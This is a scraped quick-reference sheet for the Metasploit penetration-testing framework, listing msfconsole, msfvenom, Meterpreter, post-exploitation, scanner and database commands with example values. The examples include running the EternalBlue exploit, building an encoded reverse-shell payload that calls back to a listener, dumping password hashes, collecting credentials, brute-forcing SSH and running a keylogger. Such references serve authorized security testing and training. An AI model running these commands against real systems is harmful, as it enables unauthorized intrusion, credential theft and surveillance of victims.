Metasploit Cheatsheet
Quick reference for Metasploit Framework covering msfconsole, modules, exploits, payloads, post-exploitation, auxiliary, Meterpreter, and database commands
58 commands
msfconsoleLaunch the Metasploit Framework console
msfconsolemsfconsole -qLaunch msfconsole without banner
msfconsole -qmsfconsole -rLaunch msfconsole with a resource script
msfconsole -r commands.rchelpDisplay help for available commands
help searchversionDisplay Metasploit version information
versionexit / quitExit msfconsole
exitbannerDisplay Metasploit banner
bannersearchSearch modules by keyword
search type:exploit platform:windows smbuseSelect a module to use
use exploit/windows/smb/ms17_010_eternalblueinfoDisplay detailed module information
info exploit/windows/smb/ms17_010_eternalblueshow optionsDisplay current module options
show optionsshow targetsDisplay available targets for the module
show targetsshow payloadsDisplay compatible payloads
show payloadsbackLeave the current module
backpreviousReturn to the previously used module
previousset RHOSTSSet target IP address
set RHOSTS 192.168.1.100set RPORTSet target port number
set RPORT 445set LHOSTSet listener IP address
set LHOST 192.168.1.50set LPORTSet listener port number
set LPORT 4444exploit / runExecute the exploit
exploitexploit -jExecute exploit as a background job
exploit -jcheckCheck if target is vulnerable
checkset TARGETSpecify target OS/architecture
set TARGET 0set PAYLOADSet the payload to use
set PAYLOAD windows/meterpreter/reverse_tcpmsfvenom -pGenerate a standalone payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe -o shell.exemsfvenom --list formatsList available output formats
msfvenom --list formatsmsfvenom --list payloadsList available payloads
msfvenom --list payloadsmsfvenom -eEncode payload with specified encoder
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -f exemsfvenom --list encodersList available encoders
msfvenom --list encoderspost/multi/recon/local_exploit_suggesterSuggest local privilege escalation exploits
use post/multi/recon/local_exploit_suggesterpost/windows/gather/hashdumpDump Windows password hashes
use post/windows/gather/hashdumppost/multi/manage/shell_to_meterpreterUpgrade shell session to Meterpreter
use post/multi/manage/shell_to_meterpreterpost/windows/gather/enum_logged_on_usersEnumerate currently logged-on users
use post/windows/gather/enum_logged_on_userspost/linux/gather/enum_configsCollect Linux configuration files
use post/linux/gather/enum_configspost/windows/gather/credentials/credential_collectorCollect credentials from various sources
use post/windows/gather/credentials/credential_collectorauxiliary/scanner/portscan/tcpExecute TCP port scan
use auxiliary/scanner/portscan/tcpauxiliary/scanner/smb/smb_versionScan SMB version
use auxiliary/scanner/smb/smb_versionauxiliary/scanner/http/http_versionDetect HTTP server version
use auxiliary/scanner/http/http_versionauxiliary/scanner/ssh/ssh_loginExecute SSH login brute force
use auxiliary/scanner/ssh/ssh_loginauxiliary/scanner/ftp/ftp_anonymousCheck FTP anonymous access availability
use auxiliary/scanner/ftp/ftp_anonymousauxiliary/server/capture/http_basicCapture HTTP Basic authentication credentials
use auxiliary/server/capture/http_basicsysinfoDisplay target system information
meterpreter > sysinfogetuidDisplay current user ID
meterpreter > getuidgetsystemAttempt to escalate to SYSTEM privileges
meterpreter > getsystemhashdumpDump hashes from SAM database
meterpreter > hashdumpshellGet target system shell
meterpreter > shellupload / downloadTransfer files to/from target
meterpreter > upload /tmp/payload.exe C:\\temp\\screenshotTake a screenshot of target screen
meterpreter > screenshotkeyscan_start / keyscan_dumpStart keylogger and dump results
meterpreter > keyscan_start && keyscan_dumpportfwdSet up port forwarding
meterpreter > portfwd add -l 8080 -p 80 -r 10.0.0.5migrateMigrate Meterpreter to another process
meterpreter > migrate 1234db_statusCheck database connection status
db_statusdb_nmapRun Nmap scan and store results in database
db_nmap -sV -p 1-1000 192.168.1.0/24hostsDisplay hosts stored in database
hosts -c address,os_nameservicesDisplay services stored in database
services -p 80,443vulnsDisplay vulnerabilities stored in database
vulnscredsDisplay credentials stored in database
credsworkspaceManage workspaces (project isolation)
workspace -a project_name